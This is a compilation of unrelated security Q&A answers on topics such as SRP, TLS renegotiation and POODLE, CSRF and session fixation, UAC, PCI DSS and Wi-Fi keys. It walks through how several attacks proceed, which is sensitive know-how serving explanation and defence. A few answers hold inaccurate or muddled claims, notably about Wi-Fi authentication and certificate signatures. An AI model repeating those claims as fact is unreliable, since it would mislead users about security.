Take a look at the Secure Remote Password protocol (wikipedia, Stanford). It uses a hash of the password (pick your favorite slow, salted hash) on the client side, but the server only gets a "verifier" derived from that hash by discrete exponentiation. The actual authentication takes place by an asymmetric key exchange using two random numbers (one client-generated, one server-generated), the hash (client-side only) and verifier (server-side). It's intended that the generated key be used to encrypt the rest of the session, but it could simply be verified and discarded.

Advantages:

The key exchange itself is effectively a zero-knowledge proof, meaning that a listener, man-in-the-middle, or server impostor gains no information about the password. If these were the only types of attack possible, a single-letter password would be sufficient for security.
An online dictionary attack (client impostor) can test only one password per attempt (early versions of the protocol allowed two).
If an attacker copies the server's database of verifiers, they can run an offline dictionary attack only by running each candidate password through the slow hash and exponentiation. They cannot use the verifier to impersonate the client.
As long as the server's verifier remains secret, the exchange transaction effectively verifies the server to the client (as well as the client to the server).


Is dirtycow unharmful without shell access?

Dirty cow does not need shell access. It only needs the ability to execute own software. This can for example also be done by using a security problem in a web application to upload and execute remote code.


I think we should keep things in perspective here. Is visiting a news site over HTTP non-secure or a security issue?

Visiting a site over HTTP is fine as long as sensitive information is not transmitted over HTTP.

Is visiting this site over HTTP an issue? It might be! If you are authenticated (logged in), the session cookie is transmitted in each request. This could be a problem in public areas.

It is less likely when you're doing this from home. I recommend using a VPN connection in public areas.

In addition you could use an extension for your browser to for to use HTTPS rather than HTTP, it's called HTTPS Everywhere.


FREAK Attack: How to disable all EXPORT ciphers in OpenSSL?

you can add !EXPORT in place to :!EXPORT40  it will disable all export cipher

this link may provide much more information about Freak & Export cipher
http://openssl.6102.n7.nabble.com/openssl-users-How-to-disable-all-EXPORT-Ciphers-td56861.html


It think your question was not about the internal hierarchical routing and IP prefixes, than much more about the techniques itself - right? Well, some savage once thought that the IP addresses don't tell you everything (true) so he came up with the idea of logging the DNS questions and answers - passive DNS. This way the ISP has the mapping between the names you type combined with the IP addresses so that DNS requests provide a much better overview - but they do not the know the full URL, which is on the HTTP level. However they have the port numbers and protocols being used. So now they filter services. When you visit a specific website, it contains specific plugins, ads, trackers, etc which all reveal DNS requests. Any ISP who wants to grow does this mainly for accounting hush..dig...profile...hush. The DNS method does not show the full URL but it has no overhead data in the packets and it's amazingly efficient to build up a digital fingerprint.

I mentioned the HTTP level - the same data can be gained if your ISP is monitoring your HTTPS traffic. They will see www.stackexchange.com but the rest is not visible because the (clean, no MITM, operating on a smaller scale) certificate is registered to domain.com. However your ISP could MitM your connection to utterly and completely defeat the encryption, and you would never know. HTTP is plain text, unlimited raw information - which gives ALL POWER to your ISP or someone who is monitoring your traffic. This is a lot of data, but you can assume your ISP has a tool which does a deep packet inspection on the Socket API level - so they don't have to store the full packets.

In theory if you want to obfuscate such monitoring you would connect to a rooted server or a strong VPN (L2TP/IPsec, no logs) then use Tor (Tails) and all encrypted services - this way all your ISP would see is undecipherable gibberish, well they would see an enstablished connection to the VPN (which would then see you are connecting to tor). And they would not care - unless its consistent extreme saturation of your line, especially if it impacts other users.

The answer to the question: No, they cannot click on your URL - they have to copy paste it. They certainly don't bother.


How do I find the number of hash calculation required to reverse a hash?

A good hash function trying distinct new inputs will uniformly sample the output space with 2256 possible outputs.  Now for the output to be less than 2215 there are exactly 2215 potential output values (from 0 to 2215-1) that satisfy it.  So the probability of getting an output in this range by trying one hash is p₁ = 2215/2256 = 2-41.

Now if you try this twice (e.g., hash two distinct random inputs), the chance of at least one output being in range is p₂ = 1 - (1-p₁)*(1-p₁), as (1-p₁) is the probability of the first hash not being in less than 2215, (1-p₁)(1-p₁) is the probability of both the first and second hash not being less than 2215, and then we take the complement of that probability (to ensure that either the first hash or the second hash is in the range).  Similarly, if you did hashed three random inputs, the chance of at least one output being in range is p₃ = 1 - (1-p₁)*(1-p₁)*(1-p₁); that is unless all three are simultaneously not in the range, then at least one of them is in range.  As you can see, this generalizes for hashing N separate hashes to be p(N) = 1 - (1-p₁)^N.

If you want to have say a 99% chance of a solution, you set p(N) = .99 = 1 - (1-p₁)^N and solve for N, which rearranging becomes (1-p₁)^N = .01, then taking the natural log of both sides and using properties of logs becomes:

N = (ln .01)/(ln [1 - p₁]) = 10126876334760.2 ~ 1.01 x 10^13

Note, you can use the Taylor series approximation that ln (1 - x) ~ -x when x is small (e.g., in our example when it is 2^-41)in the above equation to simplify it to N = ln (1/100) / (-p₁) = 241 ln 100 if you want to evaluate it analytically.


AV boot disks and Truecrypt encrypted drives

Your question calls for knowledge of Windows (DOS) batch files. You would need to make a bootable disk containing a batch file that will 1) mount the TrueCrypt voume and 2) then run the desired AV app.

Batch files have fallen into disuse, you might want to ask your Dad :)

First, search the internet for your favorite method of creating a bootable USB drive or CD for your version of Windows.

Next, you will need to create a batch file named autoexec.bat . This is a text file that you could create in Notepad, the extension .bat indicates it is a batch file and the reserved name autoexec.bat tells Windows to run this file at startup. A batch file is merely a list of commands such as you would type at a Command Prompt.

You can find TrueCrypt command line syntax at:
http://www.truecrypt.org/docs/command-line-usage

You can find command line syntax for your preferred AV product by searching the internet or your AV provider's site, for example for Sophos:
http://www.sophos.com/en-us/support/knowledgebase/13252.aspx

You might also want to put copies of the TrueCrypt and AV program executables on the USB drive or CD.


Microsoft said UAC is not a security barrier. But in what cases?

This is not really an answer, but speaking in absolutes with security can be dangerous... so... it depends.

I think when you say "Microsoft said UAC is not a security barrier," this is probably what you mean:

From Security Watch: The long-term effects of User Account Control (2007):

  What UAC Is Not

  UAC was not deliberately designed to be the most annoying feature in the history of Windows. Rather, this set of technologies was designed to set us on a path where users do not need to expose their systems to potentially malicious code as frequently as they have during the past few years.

  In its current form, UAC will not stop really good attackers, or ones who have the help of really good attackers. If the bad guys can't think of any other way to defeat UAC, they will almost certainly resort to asking the user to do it for them. Given the choice of dancing pigs and security, we know from experience that the dancing pigs win every time. Users have learned to dismiss dialogs, and so they will until we manage to teach them otherwise. This results from many contributing factors, including the fact that there are too many warning dialogs, that the messages in them are useless, and that many of the manuals for whatever devices users buy include a note to "please click yes to the security warning dialog to dismiss it."

  UAC does not provide foolproof security. In fact, it makes the good old local privilege elevation attack interesting again. This is a class of attack that has largely been discounted because, on Windows, nearly everyone was an admin anyway so elevating to some other admin was quite pointless. That said, UAC definitely changes the nature of such attacks and transforms the rules of the game to be much more like what prevailed on UNIX for more than 20 years.

  UAC will not stop bad guys from stealing your personal data. A user's personal data is accessible to that user regardless of the user's privilege. As such, an application, including a malicious one, can access the data. UAC does not, and cannot, change that. It does not eliminate the need to be vigilant, distrustful, and paranoid—attributes we should all instill in our end users at every opportunity.

  UAC was not designed to protect an application running with elevated privileges from all attacks by an application that runs with normal privileges in the same login session. While UAC does provide some weak process isolation, it was not a design goal for UAC to sandbox applications from each other.

So what is UAC for? From the same article, we get an answer...

  Some of the brightest thinkers in the world on Windows security today, such as Joanna Rutkowska, did understand UAC's purpose. As she put it in a blog post on February 4, 2007, UAC "is a new security mechanism introduced in Vista, whose primary goal is to force users to work using restricted accounts, instead working as administrators" (theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html). She has it mostly right, except I would use the term "enable" rather than "force."

This suggests the purpose of UAC was more about enabling users to give up administrative privileges most of the time, without crippling the user experience. UAC is a set of security features that was implemented for the long-game. It forces application developers to work within the boundaries of a standard user where possible, so that users won't need to elevate privileges when they should have been able to work without administrative permission levels.

For your average user, if they don't have administrative privileges on the machine, it will likely be enough of a barrier to keep them from running an installer that requires administrative privileges. But it is by no means a fix-all solution for security.

Bonus Material: Here's a good discussion of UAC from an IT Perspective on RunAs Radio (Episode 376). Richard Campbell carries a recurring theme through RunAs Radio over the years, that if IT has configured things correctly, and the user is doing what they're supposed to be doing, they should never be blocked by a security barrier. It's a lofty goal, but it really is the ideal balance.

I'm going to step out of this question for a moment and take into account the context of another question you've asked: Can I configure Windows Defender to reject competing AV programs?

At your scale of about 30 machines... you might want something like Group Policy as a tool to work with to start locking down machines a little more. But since you're not on a domain-controlled network, you may have to settle for Group Policy's little brother: Local Policy.

Here's a specific group policy object that might be helpful: User Account Control: Behaviour of the elevation prompt for standard users. This setting configures UAC to automatically deny privilege escalation requests. Unfortunately, locking down machines like this will result in more help desk requests if the users don't have the software they need... or the software they use requires administrative privileges.


Is it possible to use obtained wildcard certificate on more than one server?

Yes, this is possible and it is often used in practice.

The certificate is only bound to the private key and not to a machine. And the private key is not bound to machine too so you could take it to more machines. But you should be aware that the wider you propagate the private key the harder it will be to protect it. And without proper protection it might not be private for long.


Is there a known Facebook auto-posting bug?

Without an official statement from Facebook how these posts were made, we can only speculate.

Many organizations which use Facebook professionally for social media campaigns, like election campaign offices of politicians, do not use Facebook directly but use software tools to post content. Such tools can be configured to schedule a time and date when a prewritten message is posted.

It is quite likely that these posts were made through such a tool. A bug in such a software which gets the posting date wrong might be conceivable, but in my opinion human error (someone in his social media team doesn't know how to use the tool or wasn't aware of the cooling-off day rule) is far more likely. But in both cases the problem is on the politicians side.


Should I be concerned about strange, new iPhone app appearing after repair?

Unless you can come up with some other explanation of how this happend, it sounds like your phone has been infected by some malware. It's impossible for us to say if the infection was the result of something the factory did or something you did. Either way, you should be very concerned. I'd recommend the following course of action:

Make a backup of any data you have on the phone. (The backup could be infected, see this question, but if you have no earlier backup you either have to take the risk or lose your data.)
Do a complete factory reset, wiping the phone clean.
Change any passwords that has been stored on or entered on the device.

While you are only seeing one app, it might just be a symptom of a deeper infection.  Just removing the strange chinese app may not be enough.


How likely is that my ECDHE-RSA-AES256-GCM-SHA384 application will be cracked?

It is very unlikely that an application using the cipher will be cracked because of a weakness in the cipher. It might though be cracked by a bad implementation of this cipher, by a wrong use of this cipher or by anything outside of this cipher - like trying to protect information using the cipher which can be grabbed by the attacker as plain data before encryption or after decryption.

In summary: the usage of a specific cipher alone does not say much about the security of the application. Instead the full application has to be audited including the environment where it is used and how it is used.


The use of "over" in cryptography (as in "a hash over the key")

A hash (or MAC or signature) over something is a hash of that thing at an identifiable position, plus some other stuff. It's a hash of M=P+T+S where P is some prefix, T is the thing and S is some suffix, and there is an unambiguous way of decomposing M into P, T and S.

For example, a certificate of a website is a signature over the site's domain name and its public key. It isn't just a signature of the domain name or a signature of the public key: it's a signature of a compound message from which the domain name and the public key can be extracted.

A hash over something gives the same integrity guarantee as a hash of that thing: if the thing is replaced by a different thing, the hash won't be the same. It's a useful concept because a lot of data formats don't take a hash of just the thing you're talking about at a given time: the hashed message can contain other metadata and data that aren't that one thing. It's especially important with a signature because a signature over two pieces of data is stronger than a signature over each piece separately. Taking the example of certificates again, a signature over a domain name and another signature over a public key would not be very useful, but a signature over a domain name and another signature tie them together in a very useful way.

A hash/MAC/signature over something can also mean a deeper construction, such as a hash of a string containing (in an unambiguous way) a hash of etc. For example, a signature of a hash of a message containing a hash of a second message containing a hash of a thing is a signature over that thing, because it guarantees the authenticity of that thing just like a signature of the thing itself would.


Wireshark - How to monitor TLS traffic from a malware? (It does not write into the SSLKEYLOGFILE)

No. without cooperation from either side, you cannot decrypt the TLS traffic. That is the purpose of TLS. You are in the same position as an attacker of TLS, and TLS is doing its job.
Since you have access to the computer that runs one side of the TLS connections, you can use a debugger to find the session keys in RAM and dump them (i.e. do the same thing browsers do when you ask for SSLKEYLOGFILE). This of course is harder, because the malware is not cooperating.
EDIT: Like Zicar mentioned, if the malware is doing a bad job at being a TLS client, then MiTM-ing it might be easy. If it's not checking the certificate or checking it using the host's trusted root CAs store. Then you don't need to reverse engineer it. If it pins the server cert then you need to modify the malware to pin your own cert instead or skip the pinned cert check to MiTM it. If it uses a client cert, you need to extract the client cert and key to MiTM it.


Why doesn't my manual RSA key exchange example work?

Thanks to the responses I was able to get it working. Here is some Python pseudo-code which explains the algorithm actually used by TLS 1.2:

# Come up with a random premaster_secret
# It needs to start with the TLS version (0x0303)
premaster_secret = '\x03\x03' + os.urandom(46)

# Retrieve the RSA parameters from the certificate public key
RSA_n = ...
RSA_e = ...

# Encodes premaster_secret using PKCS#1 v1.5
premaster_secret = '\x00\x02' + '\x12' * (256 - 3 - len(premaster_secret)) + '\x00' + premaster_secret

# Converts the result into a number and encrypts it
premaster_secret_nb = int(binascii.hexlify(premaster_secret), 16)
encrypted_premaster_secret = pow(premaster_secret_nb, RSA_e, RSA_n)


Why do ISPs allow faked source IP addresses?

As stated in RFC3013, section 4.3, this is currently a best practice for ISPs. The RFC also states that this may not be possible in some cases, where the hardware cannot take the additional load.

This remains only a best practice and can hardly be enforced for all ISPs, so some might not do it at all as it does require some extra configuration. Encapsulation to indicate the originating IP certainly doesn't happen along the way, as some customers may have multiple IPs assigned to them (companies mainly), so it is up to the customer to choose which source IP he uses.


How does a device send the Wi-Fi password to the router?

This question has many (common) misconception about WiFI and how it works.

First, No you do not need the 'password' to 'connect' to the Wireless Network. The connection to the network (e.a. the 4 way handshake) is done before any password is transmitted to the access-point (sometimes known as a [wifi-] router).

When talking about pre-shared key scheme (WPA2-PSK), the most common on home and small office access-points (or AP) the password is never actually transmitted over the channel, instead the key is used as a 'seed' for a key generation scheme that will generate the 256 bits shared key which is used to create a 128 bits encryption key for data transmission on the channel.

The channel is first created with the 4-way handshake (similar to how TLS works). Than the 128 bits Encryption key is used to encrypt the data contents of each frame transmitted between the AP and Client.

Having the Pre shared key means you can decrypt the data either by bruteforceing all possible key values for a given Pre-shared key.
Or by doing a MiTM between the AP and the client as a rogue-AP.

Since the attacker can have the Pre-Shared key a rogue AP is possible.

For Corporate networks that do not use the WPA-PSK scheme authentication, authorization and the keys used are controlled by network-devices like a RADIUS server. Having the key will not help you connect in those cases, since they employ multiple identifiers to authenticate you with.

If you want to learn more about how wifi works, read up on its specs using the thenical name. the IEEE_802.11 Specifications.


Is it possible to create a custom login page for your own Wi-Fi hotspot?

What you are looking for is called a Captive Portal. Basically, it will intercept the first http connections, display the terms etc, require the user to accept them or use a password etc. There are some open source ones available. Don't forget that if the network is unencrypted all users can easily be sniffed/hijacked even if there is a captive portal.


There are currently three accepted password hashing algorithms (note the difference between encryption and hashing!):

pbkdf2
bcrypt
scrypt

So you can use either of these three. PBKDF2 is the most supported. Storing passwords in a reversible way is considered bad practice.


Nmap to discover live hosts with hostname

You are using -sn which means No-port scan and it doesn't have any direct relation with hostname part of output. Nmap's both DNS resolver and reverse resolver will work in such cases but sometimes DNS server don't simply show up to the reverse DNS request and in those cases only IP address is shown.

If you are using a different DNS server(which can reply for reverse DNS request) in your subnet then consider using nmap --dns-servers <IP of your DNS server1>,[IP of your DNS server2] -sn xxx.xxx.x.*


How does Internet Explorer know what text files I have viewed?

Internet Explorer is tied directly to the Windows operating system.  It is essentially an extension of normal File window.  Many of the operations performed by Internet Explorer call directly into Windows services.

For example, the SSL/TLS implementation for Internet Explorer is performed in the LSASS (Local Security Authority Subsystem Service).  So any time you visit a secure website all of the operations are actually performed by a Windows service.

Since Internet Explorer was initially tied into/based off of File Explorer it is able to see your file history.  I believe this is an intended feature.  Microsoft thought it would be cool to be able to browse your file system from your browser.


SSL / TLS Renegotiation Handshakes MiTM Plaintext Data Injection- medium or low risk?

The vulnerability applies in situations where:

The attacker can do a MitM at the network level (usually through DNS poisoning or by operating a fake open WiFi access point).
A Web site offers some services over HTTPS.
Some parts of the Web site require a user authentication.
The Web server accepts to to SSL/TLS renegotiations.
The Web server is ready to retroactively apply authentication to previous requests.

The last point is the crucial one. To understand it, let's see how the attack proceeds:

The client (victim) C wants to connect to the server S. However, the attacker A intercepts the connection at the TCP level and answers it himself.
The client C sends its ClientHello SSL/TLS message to the attacker.
The attacker connects, as a client, to the server S. The attacker then proceeds to do a normal SSL/TLS handshake with the server.
The attacker injects a command X to the server S (the kind of command that requires user authentication).
Somehow, a renegotiation is triggered: this is a new handshake, complete with messages, performed within the already established A->S SSL connection.
For that renegotiation, the attacker simply sends the ClientHello from the client C (who is still waiting) and forwards the subsequent messages back and forth between client and server. The nifty trick here is that the handshake is the initial one from the point of view of the client, but a renegotiation from the point of view of the server.
During or immediately after the handshake, the server authenticates the client; and then, somehow, the server just assumes that it has been talking to the same client all along, and applies that authentication to the command X that it receives before the renegotiation. The server executes the command X in the name of the client C, whereas the command was injected by the attacker.

How can this happen ? The important point is that the server receives the command X from what is, at this point, an unauthenticated client, but does not execute it right away. The server waits for the renegotiation to occur, and then some sort of authentication, and only then processes the command. In an HTTPS request, this can realistically happen only if the server triggers the renegotiation itself, and expects the second handshake to provide the authentication. This relates to the layered nature of HTTPS: it is HTTP-within-SSL, so everything that happens at the SSL level is transparent for the HTTP layer. Once the HTTP request X is received, the server delays the response until all the SSL-level tasks have been performed.

So, in practice, such things happen when using client certificates. This is typical of how Microsoft IIS operates:

Client connects to server. During the first handshake, the server knows the server name that the client sees in the target URL (through the Server Name Indication extension) but not the URL. The server does not request a client certificate.
When the first handshake has been completed, the client sends the actual HTTP request. At that point, and only at that point, the server learns the target URL, with the complete path and parameters. The server then realizes that the request is for a portion of the site that requires certificate-based client authentication.
Before responding to the request, the server triggers a renegotiation; this time, the server asks for a client certificate.
After the second handshake, the server knows that it is talking to the right client, and executes the HTTP request.

IIS requests client certificate only on specific paths, not for a complete server, mainly because user interfaces offered by browsers for user certificate selection are, let's say, aesthetically suboptimal. In fact they are downright frightening for an average user. User certificates are a rarity; very few servers work with them.

Therefore, the only plausible scenario where the TLS renegotiation vulnerability applies is a Web server that requires client certificates, and works like IIS does. If you do not use certificate-based client authentication, then the vulnerability is not a problem (well, at least, I see no way this vulnerability could be leveraged). On the other hand, if you do use client certificates, then the vulnerability is a very serious one and is not hard to exploit (all it takes is a 100$ device). Thus, the involved risk is either "none" or "high", depending on system architectural characteristics that tools like nessus cannot guess automatically; nessus then responds with "medium" which, in this case, really is a "depends" or "maybe".

Note that the vulnerabilities comes from the fact that the very same handshake messages are used for the initial handshake and for a renegotiation. The fix for that vulnerability really is a way to unambiguously mark ClientHello messages as either "initial" or "renegotiate", so that the server may detect foul play. But it works only if both client and server support it, and the server refuses to talk to client that do not support that extension. Nessus is telling you that your server accepts to talk to clients who do not support the extension, and thus are potentially vulnerable (depending on whether the server will require client certificates in the IIS way). There is a trade-off: by enforcing the extension support, the server adds protection in some cases, but also breaks compatibility with old legacy browsers (which may or may not be a desirable thing).

From a conceptual point of view, the real problem is that the SSL/TLS standards describe the renegotiation but never explain what security characteristics are really achieved through it. IIS just assumed, wrongly, that retroactive authentication was part of these characteristics.


A POWER7 processor on IBM i is currently vulnerable to Meltdowm or Spectre

Given that the PowerPC architecture does speculative execution and branch prediction too and has also multi-level caches I would expect that it is vulnerable to Spectre or similar timing based side channel attacks. As for the Meltdown attack I don't know since this attack needs some additional  "optimizations" in the processor design and therefore fewer architectures are affected.


Page 10 of the PCI DSS v3.1 states:

  "The PCI DSS security requirements apply to all system components included in or connected to the cardholder data environment. The cardholder data environment (CDE) is comprised of people, processes and technologies that store, process, or transmit cardholder data or sensitive authentication data."

So your systems are indeed in scope for PCI because they transmit cardholder data.

Since all the cardholder data is stored by your cloud provider you don't have to worry about any storage requirements for the cardholder data (encryption and key management).

You DO however have to worry about your logging. Since your machines are used to connect to the CDE they're brought in scope. Logs of all in scope systems COULD be stored locally on each end point, but enforcing the rest of the requirements for logs becomes very hard if they're not centrally managed.

Requirement 10.5:

  Secure audit trails so they cannot be altered.

Requirement 10.7:

  Retain audit trail history for at least one year, with a minimum of three months immediately available for analysis (for example, online, archived, or restorable from backup).

You don't have to store log backups off site and depending on your companies risk assessment it might not be cost effective to do so, but I would highly recommend storing them on a centrally managed system that is access controlled.

Edit - added clarification about 9.5.1 so people don't have to sift through comments (Thanks @SilverlightFox)

The heading for requirement 9 states

  “Media” refers to all paper and electronic media containing cardholder data.

Since there isn't any cardholder data being backed up or even stored in the first place requirement 9.5.1 would be N/A because the "media" doesn't contain cardholder data.


Do fTPM implementations protect against physical attacks?

Every software implementation is weaker than the hardware one. If a real chip for tpm is done to be resistant to even physical tampering, the CPU is a general purpose chip and can be easily traced


Problem identifying this encoding schematic into plain text

The module codecs from python can do that for you

print(codecs.decode("707974686f6e2d666f72756d2e696f", "hex"))


If you find such unusual traffic again, use tcpview to find the application which generates/listens to that suspected traffic, tcpview is capable of giving you the path to the application listed in its view. Test the respective application  with your updated anti-virus software or upload to online virus scanning tools. More detective work on any process could be done using Process Explorer. Check the start-up applications during system bootup or login this could be done with Autoruns for Windows. Think before you re-installing the OS.
One I had similar situation and end up finding a Trojan horse in my pc, OS re-installation was not necessary in that case.


Yes. For more analysis, see this blog post: we store hashed passwords because partial, read-only breaches happen (if only through a mislaid backup tape) and we do not want attackers to be able to immediately escalate this breach into full read-write access.

Also, passwords are private data (so many men use the name of their girlfriend as password, and their wife might not be pleased with it), so they should be protected from accidental disclosure to the eyes of sysadmins (or their interns). At least, looking at a database of hashed passwords is safe.


Is it typical to create both x509 and OpenPGP key pairs?

For all practical purposes, X.509 certificates and OpenPGP key pairs live in separate worlds. You need an X.509 certificate in order to interoperate with people/systems who use X.509 certificates. You need an OpenPGP key pair to exchange secured emails with people who use OpenPGP. If you want to do both then you need both.

One key idea is that such keys make no sense. In a way. An X.509 certificate, or a signed OpenPGP public key (same concept), binds a public key to an identity. What is your identity ? If you look at it closely, you will find that you have several. Legally, you are a citizen (or subject) of some country, and one of the monopolies of central governments is to define identities of people who are under its nominal scope. But that government is not the one who issues your X.509 certificate, let alone signs your OpenPGP key. Furthermore, I strongly doubt that your official ID card / passport / driving license / whatever would bear the name "scuzzy-delta".

In fact, with OpenPGP's Web of Trust, your identity is community-driven: you have as name whatever value other people found convincing. It depends on the community, and you perfectly could have several such identities (many people have a "personal email address" and a "business email address"). As for X.509 certificates, your identity there is procedure-driven: it is whatever is implicitly verified by the process by which the CA "ascertains your identity" (some CA, for some certificates, only check that you control an email address).

Under these conditions, it makes little sense to maintain an X.509 certificate and/or an OpenPGP key pair "generically". You should have keys for a purpose. For instance, you may want an OpenPGP key pair so that people can exchange encrypted emails with your "scuzy-delta" persona. Or an X.509 certificate with the name and address that you would agree to show to old wizened academics (or, for that matter, to your mother). Or maybe a certificate whose purpose is to authenticate your connections with some VPN.


Can MITM attacks now decrypt SSL & TLS traffic with POODLE vulnerability?

Short version: No. While POODLE can be used with MitM to decrypt some HTTPS traffic in specific scenarios, it requires special effort / software (not just Wireshark) and is not going to be usable against up-to-date HTTPS (or any other kind of TLS traffic).

POODLE (Padding Oracle On Downgraded Legacy Encryption) is an attack that can leak data from certain encrypted connections. As with most SSL/TLS attacks, it requires a large number of requests sending the same data; the attacker can generally only decrypt one byte at a time from a specific message that the client (or server) sends repeatedly.

Conditions required for POODLE attacks:

Victim is using a block cipher (this is common) in CBC mode (this used to be common but is getting less so).

Counter-based block cipher modes (such as the popular Galois/Counter Mode "GCM") are not vulnerable.
Stream ciphers are not vulnerable to POODLE in particular, although they may have their own vulnerabilities (the old RC4 cipher, once popular in SSL, has its own weaknesses and is disabled in all modern clients and servers).

Victim is using SSL protocol version 3.0, or using TLS 1.0 with a lazy implementation which doesn't validate the padding correctly.

The entire SSL protocol including version 3.0 is long deprecated. TLS 1.0 is also now deprecated, and the specific vulnerable implementations were patched years ago.
The "Downgraded Legacy Encryption" part refers to tricking the client and server into each thinking the other only supports old protocols; this doesn't work if they either already know that the other supports newer protocols, or if they just refuse to ever use the old and insecure ones.

Victim is either constantly sending the same message, or can be forced (by the attacker) into doing so.

This is often the case with web browsers (if the attacker controls content running in the victim's browser, such as from the user visiting an unsecured web page) but not so much with other HTTPS clients and quite rare with SSL/TLS connections used for anything other than HTTPS.

Attacker has an active man-in-the-middle (MitM) position between the victim client and server, with the ability intercept and modify traffic in real time.
Attacker has the time to force the victim to send hundreds of messages for every byte the attacker wants to decrypt.

Mind you, the attacker usually only bothers stealing a small amount of data, such as a session token from a cookie, so this isn't as many requests as you might think.

You definitely cannot just fire up Wireshark and watch TLS (or even SSL) data get decrypted in real time using POODLE. You can't even decrypt the traffic (using POODLE) from a bunch of passive captures; the attacker needs to actively tamper with each message before letting the server see it. In the right scenario, an attacker can decrypt SSL (or, rarely, TLS) traffic using POODLE, but it requires tools specially written for that purpose, and it requires both the client and the server to support using outdated protocol versions.


Cookie-Based Authentication Security of Popular Websites

How can I protect myself against CSRF attacks?
OWASP offers a great cheatsheet, which aims at providing the basics of CSRF protection. Here is their summary of CSRF protection:

We recommend token based CSRF defense (either stateful/stateless) as a primary defense to mitigate CSRF in your applications. Only for highly sensitive operations, we also recommend a user interaction based protection (either re-authentication/one-time token, detailed in section 6.5) along with token based mitigation.
As a defense-in-depth measure, consider implementing one mitigation from Defense in Depth Mitigations section (you can choose the mitigation that fits your ecosystem considering the issues mentioned under them). These defense-in-depth mitigation techniques are not recommended to be used by themselves (without token based mitigation) for mitigating CSRF in your applications.

The basic gist is that you want to send the user a token with your application, and the user will have to send that token back with every request. If an attacker would try to get you to send a request when visiting their website, the attacker would have to "guess" that token, which may not be possible if the token is created well.
How can I prevent XSS vulnerabilities?
XSS, also known as Cross-Site Scripting, is an injection attack. Basically, an attacker is able to "inject" scripts into your website, causing the victim to execute them.
The way to prevent them is to encode your output properly for the context into which you put any user-supplied data. Input validation is seen as an additional step, depending on its complexity. For instance, checking if an input is a number is trivial to do. Checking if an input is valid XML is more difficult.
Since you specifically asked about cookies, setting the HttpOnly-flag is an effective Defense-in-Depth measure to prevent an attacker from reading the contents of cookies, even if an XSS vulnerability can be exploited.
Again, OWASP offers an excellent cheatsheet.
Session Fixation
Session Fixation is a problem in regards to session management. The attack works the following:

An attcker visits a vulnerable website and is assigned a session (e.g. session=abcd)
The attacker then sends the victim a link to the website, which establishes the same session. (e.g. https://example.com?session=abcd)
The victim then logs into the application.
The server now considers the session abcd to be an authenticated session with the victims credentials.
The attacker now has access to the victim's account, as the attack knows the session ID of the victim.

Again, this attack doesn't really have anything to do with cookies, and more with session management. There is also not really any "generic" advice, as it highly depends on the session management mechanism.
How can I prevent eavesdropping?
By using TLS and ensuring that cookies are only sent via secure channels. For this case, setting the Secure-flag instructs the browser to only send cookies via HTTPS, never plain HTTP.
How can I prevent Cookie Eviction?
According to I. Ristic's "Bulletproof SSL and TLS: Understanding and Deploying SSL/TLS and PKI to Secure Servers and Web Applications", Cookie Eviction is an attack against the user's browser. Browsers limit cookies in various ways, such as the size of the individual cookies, the amount of cookies per domain, or the total amount of cookies.
The attack consists of the attacker sending countless bogus cookies to the browser, causing it to delete older, but legitimate cookies, until eventually, only their bogus cookies are left.
This can be considered a Denial-of-Service attack, but one that can be remediated quite easily by deleting all bogus cookies and not visiting the attacker's malicious website(s) anymore.
You can, frankly, not really do anything against that. It's up to browser vendors to prevent this kind of attack.
About TCP/IP Hijacking
This TCP (and even more IP) is far below in the OSI Layers, and has absolutely nothing to do with cookies.

I am uncertain what you mean by "Cookie Injection by related hostnames" or "Direct Cookie Injection". Could you please elaborate further on that?


How are CVE identifiers assigned and managed?

There are multiple ways to obtain a CVE.

One could contact one of the CVE Numbering Authorities (CNA), an emergency response team (think CERT) or the CVE project. If the vendor of a product is listed as a CNA you must contact the vendor to obtain a CVE.

Sufficient information must be provided to allow the CVE assigner to take a decision (provide the CVE, merge with other CVEs etc).

For more information see http://cve.mitre.org/cve/request_id.html and http://cve.mitre.org/cve/cna.html#researcher_responsibilities

Some vendors such as Drupal will request CVE identifiers in bulk via openwall for published security announcements that do not already have a CVE requested by the researcher.


Security of natural Windows 7, 8.1 or 10 behind no firewall

TL;TR: it is not safe and if local or hardware firewalls can help depends on how deep they can inspect.

It depends on your exact environment but the currently the major attacks against PC's are delivered via web and mail. This includes drive-by downloads, malvertising, malware inside phishing mails (like alleged invoices or delivery notices) and other social attacks (like scareware or "you need to install this flash update before viewing this video") etc.

An traditional packet filter firewall like employed in the normal SoHo routers or what is built into windows will not be able to detect these kind of attacks, because filtering is only done at the transport layer but one needs application layer inspection to detect these attacks. It does not matter if this is a "software" or "hardware" firewall, but it depends on the capabilities.

More protection provide endpoint security solutions which include antivirus to detect malware hopefully before it gets executed and blacklists either built into the browser (like Google Safe Browsing or Microsoft Smart Screen) or within a local web proxy. Similarly the better corporate firewalls (NGFW, UTM, IPS, Secure Gateway...) are able to do deeper inspection and claim to provide similar protection. Note that none of the solutions offers full protection and that the claims of the vendors about the protection they offer are often only loosely related to the reality (Often the claims or more detached from reality the cheaper the products are).

Apart from malware or phishing attempts to steal authorization credentials (typically for banks, Paypal or similar) you have attacks which use design problems of the current web. These includes CSRF attacks for example to reconfigure local routers or XSS attacks to steal authorization credentials. These need even deeper inspection of the content and chances are low that a corporate firewall at the perimeter will detect these attacks when directed against the local intranet, because in this case the attack is from inside the local network (clients browser) to another host in the local network, even if the attacker itself is outside.


According to the source code, it appears that while the software requires only that the rate be a positive integer, the rate is functionally capped at 1001 since the rate is also used to calculate a delay:
1000 / rate

Your actual maximum rate will depend on your machine resources and the network.
A note in the code also suggests that 1000 is a "very high rate" and is used as an extreme test case.


How secure is a 100-bit password in 2018 and onwards?

All of the comments assume a brute force attack against the encrypted file.  In cryptography, however, this is far from the only attack to consider.

As an example, AES-256 is generally considered 'computationally secure' by modern standards but there a lot of assumptions in just saying that. Computationally secure means that while it's secure by modern standards, history has proven it won't always be secure.
 AES operates in different modes (CBC, ECB, CFB, OFB, CTS) -- each with their own targeted attacks against each mode.

As an example in Cipher Block Chaining, after the first round, the cipher text from the previous round is xor'd with the plaintext in the current block but circling back to the first round, the encryptor must be provided the first bits of randomness (called the Initialization Vector or IV).  If this isn't done properly, this can be used to systematically derive the ciphertext that's xor'd in all for each subsequent blocks and thus, providing the unCBC'd ciphertext that can be statistically analyzed or brute forced to derive the key.

Additionally, your password can be targeted.  You already leaked some interesting information about it.

You said it was randomly generated with 100-bits of entropy and
around 20 chars.  With that, I can roughly derive the keyspace and
probably make an educated guess as to the randomness (uppers, lowers,
numbers, and a handful of common specials).
